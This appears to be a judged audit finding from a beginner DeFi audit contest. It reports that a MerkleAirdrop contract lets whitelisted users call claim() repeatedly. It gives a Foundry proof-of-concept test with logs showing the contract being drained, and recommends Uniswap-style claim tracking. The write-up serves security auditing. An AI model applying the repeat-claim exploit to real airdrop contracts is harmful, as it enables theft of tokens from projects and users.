Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The airdrop can be claimed multiple times, potentially draining contract

Summary

The MerkleAirdrop.sol contract does not contain any mechanism to keep track of whether an address has already claimed the airdrop. This means that any of the whitelisted users can choose to continuously call the claim() function. The contract requires a certain fee to be paid to be able to claim the airdrop. If the value of the airdrop is greater than the value of the fee, a whitelisted user has an arbitrage incentive to continuously call the claim() function until the contract is drained.

Vulnerability Details

Here is a proof of concept of a whitelisted user claiming the airdrop multiple times :

function testUsersCanClaimMultiple() public {
    uint256 startingBalance = token.balanceOf(collectorOne);
    console.log("Starting Balance : ", startingBalance);
    vm.deal(collectorOne, airdrop.getFee());

    vm.startPrank(collectorOne);
    airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
    vm.stopPrank();

    uint256 endingBalance1 = token.balanceOf(collectorOne);
    assertEq(endingBalance1 - startingBalance, amountToCollect);
    console.log("Ending Balance First Claim: ", endingBalance1);

    vm.deal(collectorOne, airdrop.getFee());
    vm.startPrank(collectorOne);
    airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
    vm.stopPrank();
    uint256 endingBalance2 = token.balanceOf(collectorOne);
    console.log("Ending Balance Second Claim : ", endingBalance2);
    assert(endingBalance1 < endingBalance2);

    vm.deal(collectorOne, airdrop.getFee());
    vm.startPrank(collectorOne);
    airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
    vm.stopPrank();

    uint256 endingBalance3 = token.balanceOf(collectorOne);
    console.log("Ending Balance Third Claim : ", endingBalance3);
    assert(endingBalance2 < endingBalance3);
}

Here are the returned logs :
Logs:
Starting Balance : 0
Ending Balance First Claim: 25000000
Ending Balance Second Claim : 50000000
Ending Balance Third Claim : 75000000

Impact

The contract could be drained of the airdrop token.

Tools Used

Foundry

Recommendations

Include some mechanism to keep track of whether an address has already claimed the airdrop in the past. For reference, here is how Uniswap's MerkleDistributor.sol keeps track of previous claims.

// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;

function isClaimed(uint256 index) public view override returns (bool) {
    uint256 claimedWordIndex = index / 256;
    uint256 claimedBitIndex = index % 256;
    uint256 claimedWord = claimedBitMap[claimedWordIndex];
    uint256 mask = (1 << claimedBitIndex);
    return claimedWord & mask == mask;
}

function _setClaimed(uint256 index) private {
    uint256 claimedWordIndex = index / 256;
    uint256 claimedBitIndex = index % 256;
    claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.